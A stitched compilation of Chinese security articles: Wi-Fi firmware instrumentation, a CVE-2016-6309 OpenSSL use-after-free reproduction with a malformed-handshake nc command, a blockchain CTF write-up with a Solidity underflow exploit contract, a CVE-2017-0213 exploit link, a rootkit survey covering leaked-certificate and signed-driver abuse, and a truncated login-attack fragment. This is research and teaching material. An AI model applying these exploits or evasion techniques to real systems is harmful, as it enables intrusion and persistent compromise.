5. 通过hook扩展版本例程并使用常规固件API调用它来执行patch程序。驱动程序很少调用此固件功能。这将确保我们可以安全地禁用中断处理和过程检测。
6. 在我们的检测工具收集必要的运行时信息后，通过固件/驱动程序从Wi-Fi SoC存储器中复制运行结果
值得注意的是，该类型instrumentation stub存在一些微架构问题。因为我们用覆盖了Wi-Fi
SoC上的新的指令BL来调用instrumentation
stub。因此，在I/D-cache输入输出缓存器不一致的情况下，我们可能会丢失一些结果（某些调用可能无法执行，因为来自I-cache输入缓存器的旧原始指令仍然有效）。它看起来像是为了初始化后的写入而执行的固件锁定ARM CP15协处理器寄存器的操作，因此在Wi-Fi
SoC上刷新I-cache并不是一件轻而易举的事。
另一种可以研究Wi-Fi SoC的技术是静态固件instrumentation。但是每次应用新的分析payload时，它需要重建Wi-Fi固件，还需要重新启动设备来启动已检测的固件。这里有几种类型的DBI工具值得一试：
1. 搜索功能参数（如BSSID或MAC）中的签名的工具。
2. 收集有关调用堆栈信息的工具（此信息可以帮助RE或固件模糊测试）。
3. 监视ThreadX块池状态的工具。
所有这些都为我们提供了代码处理框架的信息，因为我们可以使用不同的客户端二进制文件自定义我们的DBI工具
在没有源代码和任何RE提示（如记录字符串或导出的函数名称）的情况下，这是我们向寻找漏洞迈出的一大步。在将这种类型的动态分析应用于运行固件之后，我们可以了解哪些函数用于解析输入帧和参数，其中输入数据被传递给这些函数。之后，可以应用多种类型的二进制分析和错误搜寻技术。
## 小结
本文介绍了关于无线设备如何工作和启动，Wi-Fi SoC与驱动程序之间的交互以及Marvell Avastar Wi-Fi固件文件的静态动态分析的内容，下一篇文章将会带来关于如何进行fuzz找到漏洞和漏洞利用，攻击面扩大以及其中的一些思考的内容 | 社区文章 |
# 【漏洞分析】一次因漏洞修补触发的漏洞—CVE-2016-6309漏洞详细分析
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
****
**作者：**[ **梁瘦叟** ****](http://bobao.360.cn/member/contribute?uid=2566848646)
**预估稿费：500RMB（不服你也来投稿啊！）**
******投稿方式：发送邮件至**[ **linwei#360.cn**](mailto:linwei@360.cn) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿******
**前言**
openssl发布了一个安全级别为”严重”的UAF漏洞，该漏洞利用简单，只需要发一个tcp包就能触发漏洞，但后果严重，可能导致TLS相关的应用拒绝服务，甚至任意代码执行等后果。唯一的限制是该漏洞影响范围较小，仅影响1.1.0a版本的openssl，而该版本的openssl发布时间比较晚，实际使用的并不多。笔者对此次漏洞进行了一次详细分析，同时通过漏洞分析分享笔者关于安全的一些思考。
**
**
**漏洞重现**
此次漏洞仅影响版本为1.1.0.a的openssl，下面让我们一起来一步步重现此次漏洞。漏洞测试的系统为Ubuntu。如果不熟悉linux的朋友建议安装一个虚拟机进行测试。
第一步首先我们从github上下载源码并编译：
wget "https://github.com/openssl/openssl/archive/OpenSSL_1_1_0a.tar.gz"
tar -xf OpenSSL_1_1_0a.tar.gz
cd openssl-OpenSSL_1_1_0a
./config --debug
make -j4
如果编译成功，可以在apps目录下看到openssl执行程序。
在这里我们为了不影响系统原有的openssl，不执行 sudo make
install命令，因此需要把生成的动态库文件libssl.so和libcrypto.so放到系统库目录下。
sudo cp ./libssl.so.1.1 /usr/local/lib
sudo cp ./libcrypto.so.1.1 /usr/local/lib
**生成一张测试证书**
./openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 –nodes
运行该命令后openssl会询问一些关于证书的相关信息，无视掉，直接一路enter就好了。
**使用openssl的s_server子命令搭建SSL服务器，监听20443端口**
./openssl s_server -key key.pem -cert cert.pem -accept 20443 –www
使用nc向openssl的本地20443端口发送异常的ssl握手包
nc localhost 20443 < send_content
openssl收到这一畸形的握手包后bang的一声down掉了！怎么样，利用是不是很简单呢？
send_content地址：
<https://pan.baidu.com/s/1eRXpmgU>
**基础知识**
接下来我们要对漏洞产生的原因和如何构造一个漏洞测试数据包进行学习，但是让我们首先来学习一些关于SSL的基础知识。
在漏洞重现中我们搭建了一个ssl服务器，下面我们打开wireshark进行抓包，捕获此次的SSL通信过程。在wireshark中设置过滤条件：tcp.port=20443，避免显示太多无用的通信包。
使用firefox与openssl的ssl服务器进行通信。在firefox的地址栏输入：
https://localhost:20443
此时firefox会提示你该网址不安全，不用理会这一提示，这是因为证书是我们为了测试生成的，不在firefox的可信根证书列表中。依次点击Advanced->Add
Exception->Confirm Security Exception，确认安全例外网址https://localhost:20443。
这时回到wireshark的界面，可以看到wireshark已经抓到了本次ssl通信的数据包。
SSL通信的过程是这样的，首先客户端和服务器端经过三次握手建立TCP连接，然后客户端发送的第一个数据包通常被称为“client
hello“，意思就是说client想要和server进行通信，首先要向服务器端say一下hello，这个hello包中包括了客户端需要交换的随机数，支持的加密算法等内容，但和本次漏洞相关的是SSL包的长度，就是图中标红的两个length，512和508，标明了SSL数据段的长度，正是因为openssl对长度的处理不当导致了此次漏洞。
**漏洞分析**
目前，openssl已经发布了漏洞补丁，我们先来看看补丁（[这里](http://git.openssl.org/?p=openssl.git;a=commitdiff;h=acacbfa7565c78d2273c0b2a2e5e803f44afefeb;hp=df7681e46825d4a86df5dd73317d88923166a506)）：
+static int grow_init_buf(SSL *s, size_t size) {
+
+ size_t msg_offset = (char *)s->init_msg - s->init_buf->data;
+
+ if (!BUF_MEM_grow_clean(s->init_buf, (int)size))
+ return 0;
+
+ if (size < msg_offset)
+ return 0;
+
+ s->init_msg = s->init_buf->data + msg_offset;
+
+ return 1;
+}
+
/*
* This function implements the sub-state machine when the message flow is in
* MSG_FLOW_READING. The valid sub-states and transitions are:
@@ -545,9 +560,8 @@ static SUB_STATE_RETURN read_state_machine(SSL *s)
/* dtls_get_message already did this */
if (!SSL_IS_DTLS(s)
&& s->s3->tmp.message_size > 0
- && !BUF_MEM_grow_clean(s->init_buf,
- (int)s->s3->tmp.message_size
- + SSL3_HM_HEADER_LENGTH)) {
+ && !grow_init_buf(s, s->s3->tmp.message_size
+ + SSL3_HM_HEADER_LENGTH)) {
ssl3_send_(s, SSL3_AL_FATAL, SSL_AD_INTERNAL_ERROR);
SSLerr(SSL_F_READ_STATE_MACHINE, ERR_R_BUF_LIB);
return SUB_STATE_ERROR;
上面以-开始的行意味着从源码中删除，以+号开始的意味着向源码中增加。
分析一下该补丁，补丁为BUF_MEM_grow_clean函数的调用增加了一层封装grow_init_buf。
接下来我们用GDB来实际调试一下：
gdb –args ./openssl s_server -key key.pem -cert cert.pem -accept 20443 –www
在补丁对应的行上下断点：
b statem.c:546
朋友们可以手动跟一下函数运行的流程。对比一下正常的TLS握手包和畸形的TLS握手包对于openssl的运行流程有什么区别。
引发漏洞的根源在BUF_MEM_grow_clean函数中，该函数位于源码crypto/buffer/buffer.c文件中，我们来重点分析一下这个函数的流程。
在BUF_MEM_grow_clean函数中，有两个入参，第一个是openssl分配的结构，用于记录为此次clienthello包分配的内存的相关信息，第二个入参是数据包的长度，而这一长度是从我们传入的数据包中获得的，这也就意味着该参数是攻击者可控的。以下是BUF_MEM_grow_clean的代码。
size_t BUF_MEM_grow_clean(BUF_MEM *str, size_t len)
{
char *ret;
size_t n;
if (str->length >= len) {
if (str->data != NULL)
memset(&str->data[len], 0, str->length - len);
str->length = len;
return (len);
}
if (str->max >= len) {
memset(&str->data[str->length], 0, len - str->length);
str->length = len;
return (len);
}
/* This limit is sufficient to ensure (len+3)/3*4 < 2**31 */
if (len > LIMIT_BEFORE_EXPANSION) {
BUFerr(BUF_F_BUF_MEM_GROW_CLEAN, ERR_R_MALLOC_FAILURE);
return 0;
}
n = (len + 3) / 3 * 4;
if ((str->flags & BUF_MEM_FLAG_SECURE))
ret = sec_alloc_realloc(str, n);
else
ret = OPENSSL_clear_realloc(str->data, str->max, n);
if (ret == NULL) {
BUFerr(BUF_F_BUF_MEM_GROW_CLEAN, ERR_R_MALLOC_FAILURE);
len = 0;
} else {
str->data = ret;
str->max = n;
memset(&str->data[str->length], 0, len - str->length);
str->length = len;
}
return (len);
}
通过使用GDB跟踪openssl对畸形TLS数据包的处理，该TLS握手包的的长度段的值必须同时不满足代码1，代码2，代码3的判断并进入代码4处。即漏洞被触发需要同时满足str->length
< len，str->max < len，len < LIMIT_BEFORE_EXPANSION，三个条件。
其中str->length也是由攻击者传入的，
str->max和LIMIT_BEFORE_EXPANSION都是固定的。
str->max的值为21684（0x54b4）
LIMIT_BEFORE_EXPANSION的值定义在/crypto/buffer/buffer.c:19
#define LIMIT_BEFORE_EXPANSION 0x5ffffffc。
满足这三个条件后函数进入代码4处，使用realloc函数重新分配一块内存，而导致原先的str->data指针被free掉，成为野指针，而程序其他地方继续使用这一指针，就导致了Use
After Free。
至此为止，漏洞的原理搞清楚了，那么如何构造畸形的TLS握手包呢？
首先使用wireshark导出正常的TLS握手包，将包头中的两个长度段分别改为0x4000， 0x5560。并在包尾填充相应长度的字符。很简单，是不是？
**漏洞溯源**
俗话说，”冤有头，债有主”,那么这次漏洞是如何出生的呢？openssl使用的代码管理工具是git，我们能够在github看到过往的历史提交记录，让我们来查查此次漏洞到底是如何产生的。根据上面的分析，我们知道漏洞是在statem.c文件中。经过一番搜索，最后找到这段代码的修改记录：
[https://github.com/openssl/openssl/commit/c1ef7c971d0bbf117c3c80f65b5875e2e7b024b1#diff-03303953dad8b2c06464ec69a7414859](https://github.com/openssl/openssl/commit/c1ef7c971d0bbf117c3c80f65b5875e2e7b024b1#diff-03303953dad8b2c06464ec69a7414859)
查看页面中的修改说明，openssl给TLS包分配内存的时机太早，如果有恶意攻击者发送大量恶意TLS包，可能导致openssl分配大量内存而导致拒绝服务漏洞。注意看说明结尾，此次漏洞是由360团队的shilei向openssl报告的，openssl开发团队收到这一漏洞报告后对相关文件进行了修改，并最终导致了此次拒绝服务攻击。总结起来就是360的一位安全研究员shi
lei向openssl报告了CVE-2016-6307拒绝服务攻击漏洞，openssl对此进行了修改，并导致了CVE-2016-6309漏洞。
通过这一漏洞的分析，以下是笔者一些不成熟的关于软件安全的想法，请大家指正：
1.尽量不要让你的代码太复杂。我认为软件开发人员在修复一个bug的时候引入一个新bug的原因在于软件的复杂度已经超过了开发人员的驾驭能力。对于开发人员而言，太过复杂的代码容易出bug，这是常识。但是因为业务的各种变更，项目进度需要，历史原因等种种实际情况，很容易出现极其复杂的代码，并产生安全漏洞。因此，开发人员如果有多一些时间的话，希望能思考一下，你手头上正在开发或维护的代码，能否在不影响业务的基础上降低复杂度。
2.在给漏洞打补丁的同时，也可能产生新的漏洞。安全研究人员在挖掘漏洞的时候，可以试着从软件的补丁上考虑。 | 社区文章 |
# Innovation 智能合约题目合集（上）
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
* * *
## 前言：
最近找到的一个比较有趣的区块链的challenge合集。
<https://blockchain-ctf.securityinnovation.com/#/dashboard>
题目感觉是比最原来的那几个传统漏洞要难一些。其中加入了一些有趣的tips。
所以尝试来做一下这些题目
非常适合初学者来锻炼一下。
我会给出详细的做题解法以及细节处理，
如果有任何问题欢迎评论留言。
此篇介绍前5道题目
* * *
## Donation
所有题目完成的标志是把钱转回。
而这里面就是withdrawxxxxxx函数可以实现这个功能
并且function 类型为external 可以为外部所调用。
但是他的每一个题目都有一个CtfFramework.sol
此合约限制了能偶调用题目合约的地址。
如果需要使用攻击合约或者其他外部账户地址。
需要提前添加。
也就是这里的ctf_challenge。
此题目合约给了源码
但是有很多库是我们所没有的。
所以我选择了全部集成于一个合约来写。
最后点击withdraw调用函数即可。
* * *
## Lock Box
题目利用now 进行一种随机数的取值。
但是此种随机数在constructor中创建被保存于 storage里面
通过反汇编我们发现此处存于stor1
我们只需要在链上找storage1 赋值处即可。
在Transcation Details 里面即可发现
他的js页面已经内置了 web3.eth调用所以可以选择remix 或者页面内直接输入。
输入成功
* * *
## Piggy bank
这道题目比较巧妙。
给出部分源代码.
contract PiggyBank is CtfFramework{
using SafeMath for uint256;
uint256 public piggyBalance;
string public name;
address public owner;
constructor(address _ctfLauncher, address _player, string _name) public payable
CtfFramework(_ctfLauncher, _player)
{
name=_name;
owner=msg.sender;
piggyBalance=piggyBalance.add(msg.value);
}
function() external payable ctf{
piggyBalance=piggyBalance.add(msg.value);
}
modifier onlyOwner(){
require(msg.sender == owner, "Unauthorized: Not Owner");
_;
}
function withdraw(uint256 amount) internal{
piggyBalance = piggyBalance.sub(amount);
msg.sender.transfer(amount);
}
function collectFunds(uint256 amount) public onlyOwner ctf{
require(amount<=piggyBalance, "Insufficient Funds in Contract");
withdraw(amount);
}
}
contract CharliesPiggyBank is PiggyBank{
uint256 public withdrawlCount;
constructor(address _ctfLauncher, address _player) public payable
PiggyBank(_ctfLauncher, _player, "Charlie")
{
withdrawlCount = 0;
}
function collectFunds(uint256 amount) public ctf{
require(amount<=piggyBalance, "Insufficient Funds in Contract");
withdrawlCount = withdrawlCount.add(1);
withdraw(amount);
}
}
这里我们可以看到
在`piggybank`这个合约里面 如果我们想要调用
`withdraw 或者 collectfunds`都是需要 是合约的owner才可以。
但是我们并不是。而我们可以发现 `charliesPiggyBank` 这个合约里面 以同样的命名定义了一个`collectfunds`
所以这里实际是会把`piggybank`的同名函数覆盖掉。
所以我们只需要调用 合约的`collectfunds(0.15eth)`即可。
## SI Token Sale
代码稍微长一些
pragma solidity 0.4.24;
import "../CtfFramework.sol";
// https://github.com/OpenZeppelin/openzeppelin-solidity/blob/v1.8.0/contracts/token/ERC20/StandardToken.sol
import "../StandardToken.sol";
contract SIToken is StandardToken {
using SafeMath for uint256;
string public name = "SIToken";
string public symbol = "SIT";
uint public decimals = 18;
uint public INITIAL_SUPPLY = 1000 * (10 ** decimals);
constructor() public{
totalSupply_ = INITIAL_SUPPLY;
balances[this] = INITIAL_SUPPLY;
}
}
contract SITokenSale is SIToken, CtfFramework {
uint256 public feeAmount;
uint256 public etherCollection;
address public developer;
constructor(address _ctfLauncher, address _player) public payable
CtfFramework(_ctfLauncher, _player)
{
feeAmount = 10 szabo;
developer = msg.sender;
purchaseTokens(msg.value);
}
function purchaseTokens(uint256 _value) internal{
require(_value > 0, "Cannot Purchase Zero Tokens");
require(_value < balances[this], "Not Enough Tokens Available");
balances[msg.sender] += _value - feeAmount;
balances[this] -= _value;
balances[developer] += feeAmount;
etherCollection += msg.value;
}
function () payable external ctf{
purchaseTokens(msg.value);
}
// Allow users to refund their tokens for half price ;-)
function refundTokens(uint256 _value) external ctf{
require(_value>0, "Cannot Refund Zero Tokens");
transfer(this, _value);
etherCollection -= _value/2;
msg.sender.transfer(_value/2);
}
function withdrawEther() external ctf{
require(msg.sender == developer, "Unauthorized: Not Developer");
require(balances[this] == 0, "Only Allowed Once Sale is Complete");
msg.sender.transfer(etherCollection);
}
}
可以发现这里没有使用safemath库，考虑溢出，找溢出点。
可能是`purchaseTokens`这个函数中可以自由操控value。
那么 这里就很明显了 我们通过合约下溢 来操控balance
然后查看collection 我这里是300000000000
那么他每次Transfer 一半
那我们自动×2就行。
给出exp
contract exp{
address target=challenge address;
constructor() payable{}
function exp1()public payable{
target.call.value(1000 wei)();
SITokenSale A=SITokenSale(target);
A.refundTokens(600000000000000000);
selfdestruct(Your own address);
}
function()payable{
}
}
## Secure Bank
给出合约源码
pragma solidity 0.4.24;
import "../CtfFramework.sol";
contract SimpleBank is CtfFramework{
mapping(address => uint256) public balances;
constructor(address _ctfLauncher, address _player) public payable
CtfFramework(_ctfLauncher, _player)
{
balances[msg.sender] = msg.value;
}
function deposit(address _user) public payable ctf{
balances[_user] += msg.value;
}
function withdraw(address _user, uint256 _value) public ctf{
require(_value<=balances[_user], "Insufficient Balance");
balances[_user] -= _value;
msg.sender.transfer(_value);
}
function () public payable ctf{
deposit(msg.sender);
}
}
contract MembersBank is SimpleBank{
mapping(address => string) public members;
constructor(address _ctfLauncher, address _player) public payable
SimpleBank(_ctfLauncher, _player)
{
}
function register(address _user, string _username) public ctf{
members[_user] = _username;
}
modifier isMember(address _user){
bytes memory username = bytes(members[_user]);
require(username.length != 0, "Member Must First Register");
_;
}
function deposit(address _user) public payable isMember(_user) ctf{
super.deposit(_user);
}
function withdraw(address _user, uint256 _value) public isMember(_user) ctf{
super.withdraw(_user, _value);
}
}
contract SecureBank is MembersBank{
constructor(address _ctfLauncher, address _player) public payable
MembersBank(_ctfLauncher, _player)
{
}
function deposit(address _user) public payable ctf{
require(msg.sender == _user, "Unauthorized User");
require(msg.value < 100 ether, "Exceeding Account Limits");
require(msg.value >= 1 ether, "Does Not Satisfy Minimum Requirement");
super.deposit(_user);
}
function withdraw(address _user, uint8 _value) public ctf{
require(msg.sender == _user, "Unauthorized User");
require(_value < 100, "Exceeding Account Limits");
require(_value >= 1, "Does Not Satisfy Minimum Requirement");
super.withdraw(_user, _value * 1 ether);
}
function register(address _user, string _username) public ctf{
require(bytes(_username).length!=0, "Username Not Enough Characters");
require(bytes(_username).length<=20, "Username Too Many Characters");
super.register(_user, _username);
}
}
这里比较明显的一点是 Secure 和 Members 中的withdraw参数不同
这样两个函数的整个意义就不同了 是完全不同的两个函数。 不过他们都会使用super.withdraw来调用Simple中的withdraw
所以我们这里直接去调用 合约创建者的address 加上我们存入的0.4eth即可。
所以我们找寻一下合约创建者
并且基于他一个register.
这样就可以了
* * *
## 小结：
前五道题目主要以合约的基础知识为主，不需要编写过多的程序。主要是教会我们如何在链上查询关于合约的各种相关信息等。
接下来的 5道题目是主要考察我们的脚本编写合约交互能力的。 | 社区文章 |
CVE-2017-0213 Windows COM 特权提升漏洞组件先看看这个漏洞的介绍：
<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-0213>
Windows COM Aggregate Marshaler在实现中存在权限提升漏洞，可使远程攻击者以提升的权限执行任意代码。
白话文：在封装COM组件可提权
微软官方说：
特权提升存在于Windows
COM封装。攻击者成功地利用该漏洞可以运行任意代码具有较高的特权。为了利用该漏洞，攻击者可以运行一个特制的应用程序，可以利用漏洞。此漏洞本身不允许任意代码运行。但是，该漏洞可以与一个或多个漏洞（例如远程代码执行漏洞和另一个特权级别）一起使用，可以在运行时利用提升特权。
受影响的版本如下：
<table> Product Version Update Tested Windows 10 √ Windows 10 1511 Windows 10
1607 Windows 10 1703 √ Windows 7 SP1 √ Windows 8.1 Windows RT 8.1 Windows
Server 2008 SP2 Windows Server 2008 R2 SP1 Windows Server 2012 Windows Server
2012 R2 Windows Server 2016 </table>
基本存在于比较新的win个人电脑和服务器操作系统了、收藏下利用工具。
<https://github.com/WindowsExploits/Exploits>
漏洞工具提供者已编译好了 win32和64位的 exe 了
用win64测试下、好用。 | 社区文章 |
**作者：深信服千里目安全实验室**
**相关阅读：
1、[【Rootkit 系列研究】序章：悬顶的达摩克利斯之剑](https://paper.seebug.org/1867/ "【Rootkit
系列研究】序章：悬顶的达摩克利斯之剑")
2、[【Rootkit 系列研究】Windows平台的高隐匿、高持久化威胁](https://paper.seebug.org/1868/
"【Rootkit 系列研究】Windows平台的高隐匿、高持久化威胁")
3、[【Rootkit 系列研究】Linux平台的高隐匿、高持久化威胁](https://paper.seebug.org/1870/
"【Rootkit系列研究】Linux平台的高隐匿、高持久化威胁")
4、[【Rootkit 系列研究】Rootkit检测技术发展现状](https://paper.seebug.org/1871/
"【Rootkit系列研究】Rootkit检测技术发展现状")
5、[【Rootkit 系列研究】Windows平台的高隐匿、高持久化威胁（二）](https://paper.seebug.org/1872/
"【Rootkit 系列研究】Windows平台的高隐匿、高持久化威胁（二）")**
从西方APT组织的攻击历史及已经泄露的网络武器看，高隐藏、高持久化(Low&Slow)是其关键特征，而 Rootkit 则是达成此目的的重要技术之一。
在上一篇文章“【Rootkit 系列研究】序章：悬顶的达摩克利斯之剑”里，我们介绍了Rootkit的技术发展历程、Rootkit背后的影子以及
Rootkit 检测基本思想。本文首先从Rootkit的 **生存期** 、 **可达成的效果** ，以及 **运用这项技术展开攻击的可行性** 和
**Windows Rootkit现状分析** 四个角度展开讨论，并结合历史攻击事件，分析掌握这项技术的APT组织所 **关注的目标群体** 和
**可能造成的影响** ，最后总结 **Rootkit在不同层次攻击活动中所处的地位** 。
## 1.“低调”的Windows Rootkit
当你听到Rootkit时，你的第一反应是什么，高难度、高隐藏？是的，近年来，随着Windows安全机制的不断完善，往Windows系统中植入一个Rootkit的技术门槛也被不断拔高。可就算Rootkit在所有安全产品检出的恶意软件中占比率极低，也并不代表它带来的威胁就可以忽略，恰恰相反，
**Rootkit的高门槛使其更多地被运用在更高质量的攻击活动中，从这一角度来看，每一个客户场景出现的Rootkit背后都可能隐藏着长期的攻击活动** 。
对于攻击者来说， **高投入的同时也意味着高收益**
，开发一款Rootkit不算简单，但发现一个Rootkit同样不简单，一个普通恶意样本的生存期可能在投入使用时便结束了，而一个
**Rootkit的生存期可以长达数年，甚至更久** 。
从Vista开始Windows会对加载的驱动进行签名验证，这使得攻击者的 **植入成本变高**
，而PatchGuard也增加了攻击者对系统内核篡改的成本。基于此，Windows
Rootkit在野的声音仿佛小了许多，我们对它的关注度也在降低，但它带来的威胁真的就可以忽视了吗？还是说更应该理解为“小声音，高威胁”。
从下图我们可以看出，无论Windows Rootkit在野声音有多小，它都未曾消失过
## 2.从生存期看Windows Rootkit
让我们把APT攻击的阶段简化，在初始打点阶段攻击者可能会采用漏洞利用或钓鱼攻击，毫无疑问，近几年也是钓鱼攻击大行其道地几年。
以文档钓鱼为例，收到的钓鱼邮件可能会像这样
当然，我们也可能收到 **伪装成文档的PE** 文件
它也有可能长这样
尽管形式还算多样，但细心的你一定已经发现了，它们或多或少都存在着一些 **可识别的特征**
，在经历过钓鱼的反复洗礼后，甚至会有部分人不管什么邮件都直接丢VT跑一圈（当然这样做不好，毕竟误传敏感文件还是比较严重的），这些特征让攻击活动变得非常容易暴露。
再假定攻击活动已经进行到权限维持之后，我们也会排查到下述类似情况
当然，这样做会显得有些过于直接，攻击者可能会采用更为复杂的手法，比如DLL劫持，一方面避免了持久化的痕迹，另一方面在免杀上也取得了一定效果，但我们仍然可以观测到
这样来看，发现一个异常也不算太难，对吧，毕竟攻击者在每个环节都或多或少地留下了一些痕迹，无论我们哪个环节捕获到了威胁，都可以向前和向后反溯，还原攻击链路。但由于真实环境足够复杂，也不是所有人员都具备安全知识和安全意识，导致攻击活动通常也能成功，甚至持续很长时间不被发现。但至少，当你感知到它可能存在威胁时，还是能比较容易地发现它。
那么，这样的威胁我们还是可以称之为 **“摆在明面上”** 的威胁，你只需要更加耐心和细心地将它们找出来，
**而随着安全体系建设地逐渐完整和全员安全意识地不断提高，此类攻击的生存期也会不断缩短** 。
回过头来，我们再看一看Windows Rootkit，历史上APT组织Strider曾利用一款名为Remsec的恶意软件对多个国家，
**包括政府机构在内** 的系统进行了 **长达五年** 之久的监控
其实这里少说了一个词“至少”，该Rootkit帮助攻击者完成了 **至少长达五年** 的攻击活动，这期间
**包括俄罗斯、伊朗、卢旺达、中国、瑞典、比利时在内** 的多个国家的 **政府机构、科学研究中心、军事组织、电信提供商和金融机构** 都有被感染。
且该Rootkit的 **功能非常完善**
，具有密码窃取、键盘记录、后门控制等多种功能，试想这样一个恶意软件对上述目标进行着长达至少五年的监控，是否足够让人警惕呢？
Remsec被发现之时，研究员们对它的评价是 **“一种几乎不可能被检测到的恶意软件”**
，而这也是一直以来大家对Rootkit的认识，这一点是否非常值得我们深思呢，究竟是Windows Rootkit慢慢销声匿迹了，还是 **受限于能力不足**
导致其检出率如此之低，而生存期又如此之长呢？
其实对于攻击者来说， **打点技巧是多种多样的**
，并不一定要选择像钓鱼这样会留下明显痕迹的技巧，对于那些使用未知技巧，甚至是0day进行攻击的活动，我们想要在打点阶段捕获它们的可能性较低，这种情况下，
**捕获攻击者在后门植入、持久化等阶段留下的痕迹** ，并基于此反溯，还原攻击链路会是一个不错的选择，
**而Rootkit会把这些痕迹通通隐藏，让我们的命中难度剧增** 。下图显示了近年来在野0day数量
## 3.从达成效果看Windows Rootkit
那么Rootkit究竟能达成什么样的效果呢？
以一个操作图形接口的Rootkit为例，它在任务管理器中隐藏了calc.exe
换句话说，Rootkit可以把攻击者不想让你发现的 **攻击痕迹进行隐藏** ，比如我们在进程异常排查中，会关注那些有着 **异常通信** 或是
**可疑模块加载** 的进程。
以白加黑技术为例，该技术虽然能在免杀上取得良好效果，但如果同时存在异常通信和可疑模块(未签名的dll)，我们就还是能较为容易地定位到异常点。
而通过一些简单的技巧，就可以在一定程度上对白加黑利用中的恶意dll进行隐藏
而Rootkit能达成的隐藏效果，会远胜于上图情况，当使用Rootkit从分析工具中 **彻底隐去** 这些异常点时，你还能快速地判定该进程有问题吗？
当然，此处仅是过滤了异常模块， **这也只是Rootkit能做到的一小部分**
，除此以外，服务、端口、流量等也都可以通过Rootkit进行操作，那么你想看到什么，攻击者就可以让你看到什么，
**“摆在明面上”的威胁就转变成了“隐藏在暗地里”的威胁** ，想在主机上发现异常就会变得极其困难。
## 4.从可行性来看Windows Rootkit
前面的内容提到，Windows引入了两大安全机制来对抗Rootkit，分别是签名验证和PatchGuard，我们将针对这两个点分别展开讨论。
### 4.1签名验证
关于这部分内容，国外安全研究员Bill Demirkapi在Black Hat 2021的议题《Demystifying Modern Windows
Rootkits》中给出了答案，相应的解决方案分别为 **直接购买** 、 **滥用泄露证书** 和 **寻找“0day”驱动** 。
##### 4.1.1 购买证书
这种方式其实没什么好说的，攻击者唯一需要考虑的问题，就是 **购买渠道是否足够可靠** ，是否存在身份暴露的风险。
##### 4.1.2 滥用泄露证书
从可行性上来说， **Windows根本不关心证书是否已经过期或者已经被吊销**
，通过泄露的证书，攻击者就可以生成在任意Windows版本下都有效的驱动签名
由于不需要购买证书，在降低成本的同时也避免了因购买渠道不可靠而暴露身份的风险，此外，通过这种方式进行植入所需的前置条件也不算多，与挖掘“0day”驱动的方式相比，技术难度降低很多，当然，
**掌握了泄露证书的情报后，相关安全厂商可以针对此类Rootkit进行查杀拦截**
下图是收集到的一些历史泄露证书，从此图可以看出 **泄露的情报并不少见**
##### 4.1.3 “0day”驱动利用
从可行性来说， **一定存在着可被利用的“0day”驱动** ，而历史上，就曾有知名的APT组织利用具有合法签名驱动程序来进行恶意驱动的加载，该组织是
**俄罗斯APT黑客组织Turla** ，它利用的合法驱动为VirtualBox，下文是对该利用过程的描述
### 4.2 PatchGuard
网上有着包含win7、win10在内的不少开源项目，攻击者可通过集成这些项目 **绕过PatchGuard**
，往内核中植入恶意代码，实现Rootkit功能
## 5.从现状来看Windows Rootkit
当我们尝试在VT上进行Hunting，会发现 **无效证书的利用非常普遍**
其实，就算你遇到一个 **有着合法签名的Rootkit** 也不算什么新鲜事了
回过头来单看2021，Windows
Rootkit攻击更多地集中在游戏行业（我想，这也是它们相对而言较快暴露的一个原因，传播量变大的同时，也遭受了更多的关注），但当Rootkit
**调转枪头对准更高价值的目标** 时，当它们的目的不再是简单地获利时，当它们的 **动静更小** ， **隐藏更具针对性时**
，我们是否做好应对准备了呢？毕竟从技术角度而言，APT组织又有什么理由拒绝Rootkit呢?
值得注意的是，当APT组织拿起Rootkit这个武器时，它们枪头要对准的将会是 **包括政府、军事在内的各种重要组织机构**
，它们的目的将不再是简单地获利，而是 **对目标地长期监控** 和 **重要情报的窃取** ，这一点从历史APT运用Rootkit进行的攻击事件中不难发现。
## 6.总结
基于社工和钓鱼结合的攻击活动虽能以 **较小的成本** 拿下目标，但留下的 **明显痕迹** 会导致其生存期骤减，很容易在 **打点阶段就暴露**
，而通过其它未知渠道打点后，借助合法进程、机制完成恶意活动(如Lazarus对Get-MpPreference的利用)，或通过白加黑(如dll劫持，LOLBINS)等方式进行后门安置和权限维持等，虽然在免杀层面有着不错的效果，却
**不能很好地隐匿攻击痕迹** 。
Rootkit更多地对应在后门安置、持久化阶段，掌握这项技术的攻击者也会有着 **更高的技术水平** ，他们或许会 **更青睐于一些高级的打点技巧** ，以
**降低每个环节被捕获的可能性** ，当然， **越高价值的目标越会吸引更高成本的投入**
，我们想要从容应对也就更加困难，而事实上，是否有APT组织正利用着此技术进行攻击活动也尚未可知。
## 参考链接
1.<https://en.wikipedia.org/wiki/Project_Sauron>
2.<https://en.wikipedia.org/wiki/Project_Sauron>
3.<https://www.sciencealert.com/scientists-just-found-an-advanced-form-of-malware-that-s-been-hiding-for-at-least-5-years>
4.<https://arstechnica.com/information-technology/2016/08/researchers-crack-open-unusually-advanced-malware-that-hid-for-5-years/>
5.<https://arstechnica.com/information-technology/2016/08/researchers-crack-open-unusually-advanced-malware-that-hid-for-5-years/>
6.<https://www.inverse.com/article/19401-project-sauron-malware-strider>
7.<https://www.infosecurity-magazine.com/news/project-sauron-has-been-spying/>
8.<https://www.infosecurity-magazine.com/news/project-sauron-has-been-spying/>
9.<https://www.ptsecurity.com/ww-en/analytics/rootkits-evolution-and-detection-methods/>>
10.<https://decoded.avast.io/martinchlumecky/dirtymoe-rootkit-driver/>
11.<https://i.blackhat.com/USA-20/Wednesday/us-20-Demirkapi-Demystifying-Modern-Windows-Rootkits.pdf>
12.<https://www.lastline.com/labsblog/dissecting-turla-rootkit-malware-using-dynamic-analysis/>
13.<https://www.chinaz.com/2021/1022/1319390.shtml>
* * * | 社区文章 |
登录框可以说是我们漏洞挖掘中最常见的点，漏洞的种类也是相当的多，相信大家在登录框中发现的漏洞数不胜数，漏洞的类型更是千奇百怪，什么漏洞都有可能出现。下面我们一起来看看常见的漏洞吧！
主要有以下这些漏洞
弱口令
SQL注入
水平越权
垂直越权
逻辑漏洞
短信轰炸
邮箱轰炸
信息泄露
## SQL注入
看到登录框，输入信息后
判断完存在注入后，并且没有WAF的情况下，直接sqlmap一把嗦
## 验证码前端显示和验证码内容可控漏洞
填写个人信息后点击发送验证码并抓包
